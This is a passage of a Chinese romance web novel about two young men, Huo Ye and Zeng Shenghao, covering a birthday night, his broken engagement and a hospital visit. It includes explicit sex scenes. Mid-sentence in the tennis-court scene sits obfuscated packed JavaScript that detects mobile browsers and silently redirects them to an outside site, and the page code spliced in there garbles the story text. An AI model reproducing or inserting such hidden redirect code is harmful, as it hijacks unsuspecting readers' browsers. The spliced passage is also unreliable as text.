曾盛豪失笑,抬手替他擦泪:“好的,小晔。” “小晔,今天生日,开心一点吧。” 霍晔心情乱糟糟的,低头抹了两把脸,应了声“嗯”,转身去卫生间用冷水洗脸。 等他出来,曾盛豪已经将奶芙蛋糕和菜品都摆在桌上,蜡烛点燃,客厅只留一排昏暗壁灯。 霍晔中午在家人陪伴下许过愿了,曾盛豪说愿望许多了就不灵了,但他俩可以单独再走一遍仪式。 曾盛豪音痴,但耳熟能详的歌曲能够唱的来。 他站着霍晔身边,认真给对方分别唱了一遍中英法日德葡文的生日歌。 霍晔好奇道:“你爸妈之前都是翻译司过来的,他们分别都会多少种语言?” 曾盛豪想了下,说:“小语种的话,我爸熟练掌握有十二种,我妈会九种,但受客户群体的影响,她现在主要是以中英法西德为主。” 霍晔继续好奇:“那你过生日,你爸妈都用九国语言给你唱一遍?” 曾盛豪摇头:“怎么可能,我爸不会给我唱的,我妈习惯唱中英夹杂的。” 霍晔诧异:“那你把我懂的全唱了一遍?” 曾盛豪笑得温柔:“你不是不喜欢我用你听不懂的语言讲话吗?我今天用我们都能听懂的。” 霍晔有点不好意思地笑,然后摇头晃脑地卖乖:“好的,好的,你说得非常有道理,是我不好。” 曾盛豪轻推他一下:“你别学我说话,做你自己就好。” 霍晔哼一声:“就学你!就学你!” 曾盛豪盯着他,没过两秒,忽然凑近吻他。霍晔不自禁后退两步,手指慌忙扶住桌角,曾盛豪穷追不舍地追吻过来,掌心落在他腰|臀,另一手温柔地捧住他脸庞,整个身躯几乎要将他淹没。 “你……”霍晔被吻得喘不过气,挣扎道,“你怎么动不动就亲我?” “你不也亲我?”曾盛豪不依不饶摁住他。 “但我亲你脸比较多吧?” “我不想亲你脸。” 两人唇齿缠绵良久,一不留意桌旁蜡烛都快融化进蛋糕了,他们才匆忙分开,笑着一起将烛火吹灭。 晚餐间,霍晔给曾盛豪挑了几筷子菜,抱怨说他今天回来的有点晚了。 曾盛豪思虑片刻,告诉对方他遇见了赵寻山,但没有提婧柠,省得霍晔又要抨击他的想法天真可笑。 既然早懂得这个人的苦衷,他当然不会再勉强。 “寻山哥人不错,”霍晔埋头扒拉两口饭,给他详细地讲,“他和叶祖阳都是军籍生,读大学的时候就是军官了,是我们后辈里最厉害的两个人。” “如果没当年那档子破事儿,我高中毕业也是要走这条路的。” “马上新学期婧柠也要入伍了,她修完了四年学分,按照规划,她下半辈子会一直在部队待下去。” “是吗?”曾盛豪惊讶道,“那她打算去哪个军种?” “陆军。” 霍晔对叶婧柠那句关于“理智”的话很不放心,她嫌弃他犯糊涂,他还觉得她恋爱脑呢。 霍晔叹道:“因为明年赵茂青也打算去陆军。” 曾盛豪“啊……”一声,皱眉道:“但军种不能自己随便选吧?” “在校成绩优异就可以表达自己的意愿,上面大概率会录取。”霍晔叼着筷子,瞟他一眼,“再说了,她可是叶婧柠,她想去哪儿,谁敢拦?” 曾盛豪便叹息:“也是。” “所以,”霍晔犹豫着,有点不太敢看他,“我和她……会在她入伍前完成订婚,时间是……下周三。” “嗯,”曾盛豪声线一如既往的平淡如水,说,“快到日子了。” “如果你想要骂我——” “我不会骂你,”曾盛豪道,“我们本来就谈好明天要分开的,不是么?” “你……”霍晔皱眉抬头,“你真的打算跟我上一次床就再也不管我了?” 曾盛豪没吭声。 没吱声就是默认。 霍晔望着他,没由来一阵心悸痛苦。 他忍不住大声质问:“曾盛豪,你的道德呢?你的原则呢?!你敢跟我玩儿提裤子走人那一套?你不要脸!” “这不正好符合你最开始对我们关系的心理预期吗?”曾盛豪撂下筷子,平静地望着他:“霍晔,我决定尊重你。” “尊重个屁!”霍晔一时气得竟不知该再骂点儿什么。 他简直不敢置信曾盛豪这狗日的上一秒还送他玫瑰花下一秒居然敢对他这么绝情?! “不对,你是不是因为刚进门那会儿……” 霍晔忽然反应过来,连忙对人解释道:“你应该是误会了!我那是感动,我感动才哭的!” 曾盛豪不理他这茬,自顾自起身先一步上楼了。 “老公,你再吃点吧,我先去把自己清洗干净。” 35.第三十五章 “你刚才喊我什么?” “老公。” “太硬邦了,再叫好听点儿。” “老公……轻、轻点好吗?” “宝贝儿乖,再柔情一点。” “霍晔——!” 曾盛豪仰起的脖子登时青筋狰狞起来,痛得嘶吼出声。他双手攥紧枕角,赤白胸膛不停起伏,身下一片ru|shi。 被自己心爱的男孩儿这样施虐般折辱对待,他羞耻又快乐,汗水混杂着泪水,分不清哪个更加咸湿,将他眼尾冲刷得迅速红肿起来。 “休息一下行吗?”曾盛豪痛得泪眼模糊,恳求道,“你让我休息一下。” “喊谁呢?” “……老公,让我休息一下。” “好的,老婆。”霍晔抄手将头发全部捋到脑后,缓缓俯下身,将自己鼻尖淌下的汗珠和对方融成一体。 “老婆,”他依恋地蹭着对方颈窝,“你快点休息嗷,我还没吃饱。” …… …… 卧室昏暗,幽帘飘动,月色清辉倾洒在两人相拥的身躯,没等半分钟,霍晔又试探着,见对方没想反抗,便大胆起来。 曾盛豪锁紧眉头不时细哼出声,低声恳求他理智一点,别再像刚才那么猛。 他控诉:“真的很痛……” “那你说一句你爱我。” “叫老公管用吗?” “不管用,听腻了,”霍晔掌心拍了拍他湿嗒嗒的脸蛋,笑道,“我现在想听新的。” “……那你还是继续猛吧。”曾盛豪倔强地别过脸。 空调一阵凉风吹拂过室内浓重的xing|ni气息,他们又情不自禁地接吻、摩擦、勾缠、jiao动……窗外夏日静夜蝉鸣,水声滴答,暗香浮动。 事后,霍晔盖被子躺在曾盛豪身边,埋头啃着对方汗津津的肩膀,咕哝着问:“不打算评价一下我枪法如何么?” 曾盛豪闪躲道:“脏,我去洗澡。” 霍晔立刻黏糊糊地抱紧他:“不准你乱跑。” 曾盛豪憋笑着将整个头藏进对方糯白软乎的胸膛里:“大半夜的我能跑去哪儿?” 霍晔对原先曾盛豪嫌他硬太慢这事儿耿耿于怀大半年,执拗道:“你先评价我一下枪法!” 曾盛豪哼道:“很痛。” 霍晔不太满意:“我第一次和人做成这样很不错了好吧!” 曾盛豪坚持道:“那也痛。” 霍晔好奇问:“那更疼一点还是更爽一点?” 曾盛豪别过脸:“……反正,以后我不欠你什么了。” 霍晔忍俊不禁,探头瞅他:“诶,你说‘很疼’是不是就是夸我‘很大’的意思?你不愿正面回答,那就是很爽的意思?” 曾盛豪闭紧嘴不吱声。 霍晔确定了,笑着在被窝里去勾缠住对方的小手指,捏了捏: “那你……对我还算满意吧?” 曾盛豪不太想和霍晔讨论这种于人类航天或者慈善事业、抑或是与社科文史哲之类毫无发展的话题。 他抗拒道:“你做都做了,还执着这些干什么!” 霍晔委屈:“我只是想知道,我表现得好不好。” 曾盛豪便安抚:“你每天洗澡照镜子,按理应该很有自信才对。” 霍晔低头难过:“我没自信,我满脑子都是你,我太在乎你了,刚才你一直喊疼,我怕你不喜欢。” “盛豪哥,”霍晔抬胳膊狠狠擦一把鳄鱼的眼泪,“如果你不喜欢,我就算再粗、再长、再大、活儿再好,又有什么用!!!” “没有没有!”曾盛豪连忙红着脸解释,“你很好的!我很满意!很喜欢!” “哼,有多喜欢?” “我感觉很快乐。” “哼,有多快乐?” “像我第一次抱着你睡觉的时候那样快乐。” 说完,曾盛豪撑着疼痛不已的身子,小心翼翼地去帮霍晔擦眼泪。 他动作温柔地拿开霍晔遮挡眼睛的小臂,下一秒,就见到了霍晔那张笑嘻嘻的大脸。 曾盛豪:“……” 他费劲地缩回被窝里,有些生气地背转过身。 霍晔见人耳根通红似乎真要生气了,才连哄带笑地将曾盛豪从身后抱住。 霍晔埋头吻着他后颈,说:“宝贝儿,把我手机拿来。” 纵有不情愿,曾盛豪听话地伸出手,将床头柜上那个黑红草莓壳的手机递向身后人。 霍晔没接,让他直接解锁,说:“打开微信。” 曾盛豪便摁指纹解锁了他手机,点进去微信,扭头问:“你找谁?大半夜的骚扰人家不好吧?” 霍晔:“就是要大半夜,不然天亮了我就恢复理智了。诶,曾盛豪,你再喊我声老公。” 曾盛豪叹了口气,破罐子破摔道:“老公,你想找谁?大半夜的,你就别骚扰人家了吧?” 霍晔笑了声,说:“找婧柠,你帮我给她发条信息。” 曾盛豪忍下心中泛酸的醋味儿,手指点开和婧柠的聊天框。 消息记录里,二人今晚有一通长达十五分钟的电话。 再往上,是婧柠发来的一堆图片,她今天给霍晔买的几件男装和球鞋。 曾盛豪闷声问:“给她发什么?” 霍晔在他耳畔笑道:“发:我考虑清楚了,打算坚持原来的想法。” 曾盛豪好奇扭头:“什么想法?” 霍晔严肃道:“她还惦记着赵茂青,我这个未婚夫要再劝劝她。” 曾盛豪“哦”了声,一边气呼呼地编辑着文字,一边在内心怨愤霍晔丧尽天良,上半夜在床上把他给作践得体无完肤,下半夜还记挂着别的女人,真是尽职尽责狼心狗肺的绝世好未婚夫。 发送完毕,霍晔又吩咐:“再发:这件事是我对不起你,你想让我怎么补偿,我都认。” 曾盛豪蹙起眉,再次扭头问:“这不是我说过的话吗?” 霍晔虎着脸亲他一口:“怎么,老婆的台词儿,老公拿来用用都不行?” 曾盛豪编辑好发送过去,低声抱怨道:“你还说我天真,原来你私下也撮合他们,但是现在说什么都晚了,你不是说赵茂青是为了婧柠姐才和他女朋友分手的么?你这些话,婧柠姐能听得进脑子里才怪!” 霍晔就笑,双手忽然从对方身后绕出,死死攥紧曾盛豪握着手机的两只手,上半身也强势碾压着他侧肩,说:“再发最后一条:对外就称是你嫌弃我,是你甩的我,这样你名誉就不会受损,我家人那边也好交代。” 曾盛豪刚敲了两字“对外”,忽然就愕然愣住,不敢置信地扭头看向对方,失声道:“你做什么?你在说什么?” 霍晔弯眼笑,一双浓密剑眉邪气地勾起,“这么惊讶干什么?这不正好符合你最开始对我们关系的心理预期吗?” “曾盛豪,你记住,这些话全都是你一个字一个字敲下去的。” “所以我的余生,全部要你来负责,听见了没?” “我不!”曾盛豪吓得不轻,一颗心怦怦乱跳着,几乎不敢再与霍晔对视。 他试图挣扎丢下手机,奈何双手被霍晔攥得死紧,他莫名害怕地反抗,却无意激起对方的反应。 那人*硬邦邦地抵在他后腰,一阵接着一阵震得胸膛发笑,曾盛豪臊得浑身发红燥热,简直无所适从。 “霍晔,你这样太草率了!” 曾盛豪试图保持冷静,沉声道:“等天亮了我们再从长计议!” “少废话了,快点儿发!”霍晔挺着腰顶他一下,调笑道,“还是你后半夜也不打算睡了?” 箭在弦上,曾盛豪骑虎难下—— 不,是他被老虎骑着难下。 但是……哪有刚和人家上了床就立贞洁牌坊的? 他不怕承诺给霍晔一辈子,他只是怕这个人会为难。 然而,最终还是私心战胜一切,曾盛豪郑重地将那句话编辑好,又自作主张在最前面加一句“真的很不好意思”,给婧柠发了过去。 曾盛豪心情乱糟糟的,刚关掉手机,身后人又开始缠着他到处发|情:“盛豪哥,还没吃饱,我们再来几次吧……” 曾盛豪无奈道:“我明天还有课,你现在必须得让我睡觉了。” 霍晔充耳不闻,正打算耍赖,曾盛豪握着的手机忽地就亮了几下。 叶:【行吧】 叶:【弟弟,你真的比我想象中还要有本事】【大拇哥emoji】 曾盛豪直接吓得把手机掉在了地上。 他扭头问霍晔,震惊颤声道:“她怎么知道是我!” 霍晔笑得不行,将人搂紧怀里,盖好被子,闭眼道:“算了,看把你吓的,早点睡觉吧。” 曾盛豪扭身掀被子:“我捡手机。” 霍晔一把将他摁回怀里:“光着屁股呢捡什么捡,一身大汗感冒了怎么办?睡觉!明天老公给你买新的!” 曾盛豪没忍住笑:“那是你手机。” 霍晔眼皮都没掀一下:“所以呢?是我手机老公就不能给你买新的了吗?” 曾盛豪也缓缓闭上眼,笑道:“行吧,你今晚把我弄这么痛,你得给我买最新款的。” “那当然了,老公好不好?” “好。” “爱不爱我?” “嗯。” “要对老公负责一辈子哦。” “嗯!” · 那晚过后,曾盛豪白天上课,傍晚重新开始练习网球。 只是十天没练,他就有点手生了。 不过掌心磨出的茧子还在,拍子一落入手中,他很快调整舒服的握拍姿势,恢复原来状态。 曾盛豪拉着曹廷远练习了两周半,直到曹学长正式宣布他已经度过新手期,曾盛豪向霍晔发送了下周二打网球的申请。 可爱的他: 【好的宝贝儿,其实晚上回家跟我讲也可以的】【亲吻emoji】 曾盛豪: 【回家一见到你,总是想不起来】【尴尬挠头emoji】 可爱的他: 【为啥?】【坏笑emoji】 曾盛豪: 【我不想说,你知道的】【黄心emoji】【黄心emoji】 傍晚落日熔金,云霞漫天,微风吹过绿草坪,整个大学操场上洋溢着青春气。 曾盛豪将球拍放在休息椅上,摘掉右手湿透的护腕,从书包里掏出两瓶百岁山,先递给身旁曹廷远一瓶:“学长给。” 曹廷远点头接过:“谢了。” 二人并肩坐下,曾盛豪拧盖一口气喝掉半瓶水,然后掌心捧着水瓶,一脸安详惬意地笑望着网球场外,哪怕是暑假在操场上也有很多成双结对出入的校园情侣们—— 从小到大,这是他仅有的、可以沉浸式享受校园生活的美好时光。 如果坐在他身旁的是霍晔,那就更完美了。 曹廷远拧着瓶盖,一扭头就瞅见学弟那一脸思春的傻样儿,笑得不行。 他胳膊肘怼曾盛豪一下:“诶,你这么喜欢看人家谈恋爱,下回你俩打球,我也来看看呗?师父稍微给你指导一两招,保准把那小子打得上吐下泻!” “不行,”曾盛豪立刻拒绝,“这是作弊!” 打网球是件体力活儿,曾盛豪自认和霍晔体力不相上下,但霍晔在刁钻耍滑这方面天赋异禀,不论攻击力还是狠劲儿,显然要甩他十万八千里。 但无论成败,他只想以自己最潇洒的姿态,迎接和霍晔的第一战。 而且他并不认为脾性温和是一种劣势,譬如老子说“上善若水任方圆”,道家太极拳法讲求“以柔克刚”,佛家至高境界则为“无缘大慈,同体大悲”,况且两个人在一起,本该就是两极相吸,阴阳调和。 霍晔做阳,他便为阴; 霍晔做阴,他便为阳。 日月轮替,阴阳相济,冲气为和,这便是道法所在。 一想到最近每晚二人都阴阳调和到深更半夜,白天去辅导班上课老师同学们还惊讶他最近起色越来越好,曾盛豪眼角眉梢不禁又开始洋溢着笑。 曹廷远见学弟最近跟被人家下了蛊似的,一言不合就开始傻笑,立刻挥手嫌弃驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541712|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散酸臭味:“唉,受不了!我们这种异国恋的真受不了你们这种校园恋的!” 曾盛豪心里得意,便掏手机给对方显摆:“他给我买的。” 曹廷远挑眉:“哟,新发售的?还ProMax呢!” 曾盛豪强调:“2TB的。” 曹廷远瞪大眼睛:“我靠,全款买的?这么有钱?看来他家里条件也不赖啊!你俩这也称得上是门当户对了吧?” 曾盛豪嘴角微翘,说:“本来就是门当户对。” “瞧你那没出息的样儿,你可是在剑桥有独栋别墅的大少爷!”曹廷远是真受不了这小子桃花泛滥的笑脸,问道:“那你俩现在这是定下来了?家里那边打算怎么交代?” 曾盛豪沉吟片刻,掌心来回搓着温凉的水瓶,道:“我爸妈都是明理的人,就算再反对,迟早都会想开。” “就是我爷爷要先瞒着。” “我打算先告诉我爸妈,不管同不同意,我爸妈都肯定会先帮我一起瞒着爷爷。” “只要家里人知道了,我和他就算是名正言顺了。” “没事儿,老人家嘛,封建点儿很正常,你爸妈明理就行了!” 曹廷远对曾盛豪这个决定表示认可。 然后飞快绕回原题,探头好奇起学弟对象:“那你打算啥时候领他过来也让为师瞅两眼?” 曾盛豪想了想,说:“有空一起吃饭行,打网球不行。” 曹廷远挑眉:“为啥?” 曾盛豪不吭声。 恕他也有些封建,这三伏盛夏闷热天气,霍晔打球肯定会穿短裤,那就一定会露出那两条肌肉线条漂亮健美的大白长腿。 他不想霍晔在人前这么暴露。 曹廷远见曾盛豪对“公平比赛”这么执着坚定,不禁心生佩服。 当初他问曾盛豪为什么加入网球社?曾盛豪直言不讳,说,他想学会了找喜欢的人一起玩儿。 曹廷远心领神会,日常除了传授学弟专业知识之外,还顺带分享一些撩妹技巧,每次曾盛豪发球太猛了,他就会适当提醒对方要收着点力,否则一般女生会接不住球。 “你学打球是为了跟人家女生谈恋爱,不是在跟她玩儿命!”曹廷远经常在球场上这么训斥学弟。 大概这话说得太频繁了,某天学弟又听他说这话,突然就忍不了,扯着脖子冲他回吼一句:“我喜欢的人是男生!他力气比我都大!”吓得曹廷远差点把球拍甩飞。 曹廷远清楚曾盛豪以后要走仕途,于是谨言慎行,尽量避免打听学弟的同性恋情。日子一长,曾盛豪率先憋不住了,有天主动飘过来问他:“学长,你想不想知道我喜欢的男生是什么样子的?” 曹廷远笑得直接从椅子滑到了地上。他对这位待人毫无防备之心的傻弟弟真没招儿,内心不免多几分疼爱,也就没再掩饰自己旺盛的好奇心。 学弟一脸傻笑着给他透露那位力气很大的男生,但描述却十分抽象,据说是“像高山一样,又如云潇洒,脾性千变,但无所不能”,是个“能发现我有趣灵魂的有趣的人”,听得曹廷远直接气笑了。 这知道的,是描述他对象;不知道的,还以为他在描述孙悟空呢。 曹廷远答应帮曾盛豪保密,连无话不谈的女朋友都没告诉,只是这本身不苟言笑的小子最近成天在他身边笑得跟个花痴似的,引得他心痒痒实在好奇。 曹廷远刚打算问一句“你对象叫啥名儿啊”,曾盛豪手机就突然响了起来。 曹廷远忙探头去瞅来电显示: 江箫。 曹廷远笑得一脸暧昧:“哟,你对象啊?” 曾盛豪看怪物似的瞅他,说:“这我们宿舍长,学生会主席预备役,在A大和M大都很出名的,你没听过?” 曹廷远扫兴摆手:“嗐,我但凡会他们学生会那两把刷子,咱网球社就不至于解散了。” 曾盛豪心想也是,然后抬手接起电话:“喂?” 电话那头传来一阵痛嘶声:“你、你是不是还在网球场?” 曾盛豪皱了下眉:“在,你怎么了?” 电话:“我刚从上铺掉下来,好像把尾巴骨摔断了,艹……现在动不了了。” 曾盛豪腾地一下站起来,三两下收拾好书包球拍,歪着脖子夹着电话,嘱咐道:“你再撑五分钟,我马上回去!” 曹廷远见势不妙,忙跟着起身问:“咋啦咋啦?用我帮忙吗?” “不用,我室友摔了一下,学长我先走了,明天见!”曾盛豪来不及解释太多,背着书包球拍就往停车场冲,边疾步走边举着电话问:“怎么回事儿?” 按照江箫身体素质,别说上铺了,就算从二楼跳下来都没事儿,怎么还骨折了? 电话那边突然传来一阵发自肺腑的畅快笑声:“我弟……我弟刚才出高考成绩了!!他、他那个成天不务正业的蠢货哈哈哈哈哈哈……他居然考上咱们学校了哈哈哈哈哈!!!” “不错!牛逼!”江箫忽然痛快地大喊,“随我!” 曾盛豪被这粗暴的一嗓门吼得挂断了电话。 虽然骨折,但此人的精神状态有点超出了。 出于某种私心,曾盛豪在等红绿灯时,发语音添油加醋把这件事给霍晔讲了。 “江箫骨折了,我一个人顾不过来,你快到学校医院来。” 霍晔是个忙起来连身体都懒得顾惜的工作狂,但若逢上重要事情,这人肯定会早点放自己下班,然后就能和他一起回家吃饭了。 曾盛豪最近跟阿姨新学了霍晔爱吃的口水鸡和凉拌醋溜大白菜,今晚正好可以做给他吃。 果不其然,霍晔秒回语音: “你们先撑住,我二十分钟就到。” 不待曾盛豪嘴角翘起,霍晔下一条语音紧随而至: “别以为我不知道你在打什么鬼主意,Bad boy~~” 久违的矫揉造作的少年气泡音,宛如一只摇摆的狐狸尾巴隔着无线撩拨着他的身体,搔挠得他耳根发红。 绿灯亮了,曾盛豪连忙踩着车蹬子往宿舍赶,一边加速骑车一边重新回忆,江箫刚才怎么了来着? 36.第三十六章 霍晔一身西装革履推门迈入病房时,江箫正抱着手机趴在床上,一脸津津有味地刷着农场主修驴蹄子的野生视频。 霍晔将拎来的酱肘子卷饼和清炖排骨汤撂桌上,俯身探头过去瞅手机。 “你居然没在背单词?” “今天高兴,”江箫笑哼一声,“不想背单词。” “你的蜜桃臀怎么样?” “那是尾骨,”江箫没好气道,“我身体素质好,医生说休息两周,注意别坐太久就行。” “我们家那口子呢?” “大厅缴费去了。” 俩人聊着天,霍晔正凑近欣赏着江箫播下一个修牛蹄子的视频,冷不丁身后袭来一阵寒气。 不待霍晔扭头,曾盛豪一把攥紧他胳膊,拽他去窗户边,伸手指:“这里有板凳。” 霍晔见对方一身白POLO衫的网球运动装,打扮得跟个清纯男高似的,不禁眼前一亮:“你今天好帅啊。” 曾盛豪淡淡应了声“嗯”,眼风迅速瞄他一眼,“你更帅。” 霍晔笑容灿烂,热情地扑上去就要啃他脸,曾盛豪飞快闪身一躲,“屋里还有人。” 江箫关掉手机,扭头道:“没关系,我是狗,单身狗的狗。” 几人都笑。 窗外夜色深浓,这会儿快八点了,霍晔和曾盛豪清理干净床头柜,摆上晚饭,让江箫先趴着吃,等他吃饱了,他们再把饭余垃圾一起捎走,省得晚上病房有味儿。 霍晔带了仨酱肘子卷饼,是专门跑去他同事推荐的熟食店排队买的,光一个就量大顶饱。 江箫先喝几口排骨汤,然后打开纸袋,满屋登时飘起醇厚浓郁的猪板油脂膏香,大饼是高筋面粉混着猪油烙出来的,饼皮筋道弹牙、厚度适中,霍晔说他偶尔工作压力大了会买来嚼着吃,很过瘾,比看修驴蹄子视频还解压。 曾盛豪不太吃这类食品,哪怕再美味,他日常对碳水摄入严格把控,少油少盐少味精,信奉健康至上。 霍晔不太清楚俩人没在一起之前,曾盛豪这种仙气飘飘的“清纯玉男”怎么纾解压力?俩人在仅是“及时行乐”的阶段,曾盛豪动辄就抱着他又亲又揉又摸,发|情的时候也极为强势粗鲁。 霍晔买的情趣装大部分是一次性的,每次俩人亲热过后,曾盛豪坚持要帮他手洗干净,再挂到阳台上晾干,最后装进黑塑料袋打死结丢掉。 霍晔不晓得这人究竟是太爱讲卫生了,还是单纯喜欢在洗内裤过程中对他进行二次意|淫。 他只知道,就算曾盛豪是个心理变态,外观看起来依旧楚楚动人。 江箫啃着排骨,让这俩人分别再拿一个吃,等会回家就不用做饭了。 曾盛豪心心念念要给霍晔做晚饭,坚决不吃,霍晔刚下班肚子饿,顺手拿了一个,然后一屁股坐在曾盛豪指定给他的板凳上嚼饼。 曾盛豪一声不吭地坐在霍晔旁边,围观屋里俩人吃得这么香,还不时交谈几句江箫弟弟的事,莫名有点生气。 “诶,你弟叫啥啊?”霍晔好奇道。 “沈轻,”江箫笑,“他比较单纯,不太懂人情世故,回头你要是不打算在宿舍住了,我想把他弄来609,平时亲自看着他点儿,我还放心。” “那成啊,”霍晔点头,“等过两天我收拾一下。” “也不用这么急,”江箫笑,“万一你哪天想回来住呢?” “没事儿,我睡曾盛豪铺上,让他搂着我。” “那行,谢了!” 江箫见霍晔嚼饼太噎得慌,随手将自己排骨汤递过去:“喝两口。” 不待霍晔接过,身旁人凳子忽地响起一道“吱拉”刺耳声。 曾盛豪起身从书包里拿出半瓶下午喝剩的百岁山,怼在霍晔眼皮子底下,硬邦邦道:“喝水。” 霍晔正馋着排骨汤:“我想喝点儿有滋味儿的。” 江箫吓得连忙把碗端回来,说:“这汤有毒,你别喝了。” 病房内气压降至冰点,霍晔瞧着曾盛豪脸色不太对,一脸讪笑着接过了水。 江箫以雷霆速度吃完晚餐,好言请这对儿情侣赶紧走吧,省得殃及池鱼。 他知道曾盛豪背包里有水,但霍晔噎得都要说不出话来了,曾盛豪怎么就一直眼睁睁看着,就是不拿出来? 不过在江箫眼里,霍、曾两人始终是一个强迫方,一个被强迫方,曾盛豪一个铁直,这辈子都没和女生谈过什么恋爱就被霍晔勾搭走了,感情不像霍晔那样明显浓烈,似乎也能说得过去。 二人临走,霍晔先去楼道扔垃圾,江箫喊住曾盛豪,说要把医药费结一下。 “不用,”曾盛豪面无表情,“你好好休息,我明天再来看你。” 江箫笑:“你这表情不像是明天来看我的,倒像是明天会来砍我的。” 曾盛豪犹豫了下,说:“你……你能不能离他远点?” 江箫瞠目:“??啊?” 曾盛豪皱眉:“他都没有给我买过这个饼。” 江箫大喊冤枉:“大哥,他不给你买,难道不是因为你不爱吃吗?而且人家今晚买了三个,是你自己非不要吃的啊!” 曾盛豪:“正是因为我不爱吃,才说明他是专门给你买的,是我恰好在,他才买了三个。” 江箫:“……” “走走走!”江箫挥手赶人,“真受不了了,赶紧走!” 回家路上,龙溪在前排开车,霍晔和曾盛豪坐在后座,一个抱着电脑处理工作,一个戴着耳机、手捧笔记本复习功课,气氛莫名冷清。 龙溪不时瞥向后视镜,发现霍晔键盘敲得噼里啪啦的,一副全神贯注的样子,但曾盛豪这笔记本……从打开后就没掀过一页。 没几分钟,霍晔电脑弹出江箫一条信息: 【你明天给他重新买一个肘子饼,最好再绑个贺卡钻戒什么的】 霍晔诧异: 【为啥?】 江箫: 【他想吃,不好意思说】 霍晔合上电脑,对身旁人笑道:“要不等下绕路再买个卷饼?就我和你一起,我陪着你吃。” 曾盛豪摘下耳机,诧异道:“你还没吃饱?” 霍晔捏了捏他脸:“我吃饱了,但你不是还没吃呢吗?” 曾盛豪又重新戴上耳机,低头翻着书页:“没胃口,回家随便吃点面包算了。” 霍晔懒得戳破他这假清高的小样儿,直接吩咐龙溪:“再回趟公司,看看那家熟食店还开着门没。” 曾盛豪立刻抬头:“不许去,我不想吃!” 龙溪扭头问:“那到底去不去啊?” 霍晔:“去!” 曾盛豪:“不去!” 龙溪叹气:“要不你俩再商量一下吧。” 霍晔轻啧道:“不就想喝一口人家的排骨汤,你至于吗?” 曾盛豪“啪”一下合上笔记本,扭头瞪他:“你还说!之前还知道守着分寸,不愿躺在人家铺上,现在和我在一起了,反而和别人共用一个碗了!” 霍晔一听这,更“啪”一声重重摔上电脑盖,不禁也来了脾气,瞪他:“你再给我闹?难道不是你先不把水拿出来的?你还有理了?!” 曾盛豪冷笑:“我当然有理!是你先和他谈笑风生的!” 霍晔“呵呵”两声:“我不仅和他谈笑风生,我他妈还谈笑雨生呢!大家都是一个宿舍的,我跟他说几句话咋啦?而且江箫是你给人架进医院的,你们这一路搂搂抱抱的,你看我说什么了吗?!” 曾盛豪愤然:“你当然不在乎了!你这么有魅力,三言两语就能迷惑得人家对你死心塌地,随便和谁都能聊得开心,哪里顾得上别人心急!” 霍晔愣了几秒:“啊?” 曾盛豪毅然扭头看向窗外,恨不得把脖子拧成九十度折角。 前边传来龙溪一阵爽朗的笑声。 “还去不去熟食店了?这么晚了,人家估计都关门了吧?” “那不去了。” 霍晔撂下电脑,俯身黏糊糊地趴在曾盛豪背上,埋头蹭着他后颈窝:“我给你做好吃的吧,宝贝儿想吃什么?” 曾盛豪怨气十足:“我本来……今晚要给你做的。” 霍晔恍然,笑声凑在他耳畔:“没关系,你在床上给我做也是一样的。” 曾盛豪抗拒道:“我今天不想。” 霍晔脸一拉:“你别没完了啊。” 曾盛豪顿了顿,掏手机编辑文字,展示给他看: 【你已经有四十六天没穿小衣服给我看了,我最近有点怀念】 霍晔面露难色,小声道:“我今天……也不太想。” 曾盛豪脸一拉,说:“今晚我还是吃面包好了。” “诶哟!”龙溪不晓得咋回事儿,只一味急得抓耳挠腮,“这一天天闹的……” 按铃回到家,俩人各走各的。 霍晔一见曾盛豪那臭脸,也没心情哄大少爷吃饭,兀自拎着电脑回到二楼书房办公。 家里的面包就剩冰箱冻的那几根硬邦邦的法棍,大少爷既然这么爱吃硬不吃软,干脆噎死他算完。 霍晔心烦意乱地听着楼下厨房不时传来的乒铃乓啷声,冷兵器交战似的,不禁着急又窝火。 他真搞不懂大少爷都这把年纪了,怎么连把刀都拿不稳?切面包也“咚咚”的响,下刀频率还挺快,这万一切到手了……曾盛豪这种十指不沾阳春水的金枝玉叶,打算要心疼死谁? 霍晔强忍着焦心,不打算再主动求和好。 他心里有气。 霍晔原本每月会去美容医院做一次皮肤管理。他体内雄性激素旺盛,一不留意就杂草疯长,如果不及时剪裁,很影响雅观。 他不愿做激光永久,因为他还要做攻。 这本身是件很麻烦的事,曾盛豪那大傻蛋却总默认他天生就长这样—— 该毛绒绒的时候就毛绒绒,该滑溜溜的时候就滑溜溜。 某天夜里二人正浓情蜜意,曾盛豪尽职尽责义务劳动,不停夸赞他皮肤细润莹白像雪一样,霍晔爽得不行,随口提了句“刚做的”。 曾盛豪没太懂,以为他是去打美容针,当即停止娱乐活动,一脸严肃地爬上来给他科普健康知识,劝他不要随便往体内注射任何药物,要珍爱自己的身体。 霍晔欲求不满,嚷了声“哎呀没打那种,就是脱个毛儿!”,然后迫不及待地摁着曾盛豪的脑袋下去,催人赶快再继续! 然而在得知是一位二十多岁的男技师给他做,那位不食人间烟火的大少爷瞬间就气疯了。 “你怎么能让别的男人碰你那里!”曾盛豪震怒不已,歇斯底里地冲他咆哮。 “因为我他妈就是一个男人!”霍晔气得跳脚,“这是人家的职业,他一天不知道要看多少只鸡儿!碰我就碰我了!不然你让女技师给我做啊!” “那就别做!”曾盛豪恨得两眼发红,冲他恶狠狠地戳着食指,沉声警告道,“你不许再去,否则我下个月就把这家医院告破产,你去哪个我就告哪个,听到没!” “哟,还当这地界儿是你家大门口呢?你给我睁开眼看看,这里是北京城!是你张狂还是我张狂?!”霍晔才不要受这个臭老封建的摆布,冷笑道,“你越不让我去,我就越要去!老子家门口,老子想干什么就干什么,我他妈气死你!” 这一番仗势欺人的话说出来,曾盛豪一口气没喘上来差点就气死了。 三更半夜两点钟,衣服不穿 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“你——!”曾盛豪憋不住一秒破功,埋头笑了好半天,才重新抬头望着他,“你不用去那种地方,你怎样都好看。” 总而言之,自从那天把曾盛豪哄回家后,霍晔就没再去过美容医院。 也没再穿过任何乱七八糟的情|趣装。 